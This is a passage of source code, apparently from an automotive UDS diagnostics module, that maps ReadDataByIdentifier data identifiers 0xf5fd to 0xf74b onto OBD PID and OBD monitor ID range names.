UDS_RDBI.dataIdentifiers[0xf5fd] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5fe] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf5ff] = "OBDPids_F500 - F5FF" UDS_RDBI.dataIdentifiers[0xf600] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf601] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf602] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf603] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf604] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf605] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf606] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf607] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf608] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf609] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf60f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf610] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf611] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf612] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf613] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf614] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf615] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf616] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf617] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf618] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf619] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf61f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf620] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf621] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf622] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf623] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf624] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf625] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf626] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf627] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf628] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf629] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf62f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf630] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf631] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf632] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf633] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf634] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf635] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf636] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf637] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf638] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf639] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf63f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf640] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf641] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf642] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf643] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf644] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf645] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf646] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf647] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf648] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf649] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf64f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf650] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf651] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf652] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf653] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf654] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf655] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf656] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf657] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf658] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf659] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf65f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf660] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf661] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf662] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf663] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf664] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf665] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf666] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf667] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf668] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf669] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf66f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf670] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf671] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf672] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf673] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf674] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf675] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf676] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf677] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf678] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf679] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf67f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf680] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf681] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf682] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf683] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf684] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf685] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf686] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf687] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf688] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf689] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf68f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf690] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf691] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf692] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf693] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf694] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf695] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf696] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf697] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf698] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf699] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69a] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69b] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69c] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69d] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69e] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf69f] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6a9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6aa] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ab] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ac] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ad] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ae] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6af] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6b9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ba] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6be] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6bf] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6c9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ca] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ce] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6cf] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6d9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6da] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6db] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6dc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6dd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6de] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6df] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6e9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ea] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6eb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ec] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ed] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ee] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ef] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f0] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f1] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f2] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f3] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f4] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f5] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f6] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f7] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f8] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6f9] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fa] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fb] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fc] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fd] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6fe] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf6ff] = "OBDMonitorIds_F600 - F6FF" UDS_RDBI.dataIdentifiers[0xf700] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf701] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf702] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf703] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf704] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf705] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf706] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf707] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf708] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf709] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf70f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf710] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf711] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf712] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf713] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf714] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf715] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf716] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf717] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf718] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf719] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf71f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf720] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf721] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf722] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf723] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf724] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf725] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf726] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf727] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf728] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf729] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf72f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf730] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf731] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf732] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf733] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf734] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf735] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf736] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf737] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf738] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf739] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73b] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73c] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73d] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73e] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf73f] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf740] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf741] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf742] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf743] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf744] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf745] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf746] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf747] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf748] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf749] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74a] = "OBDMonitorIds_F700 - F7FF" UDS_RDBI.dataIdentifiers[0xf74b] = "OBDMonitorIds_F700 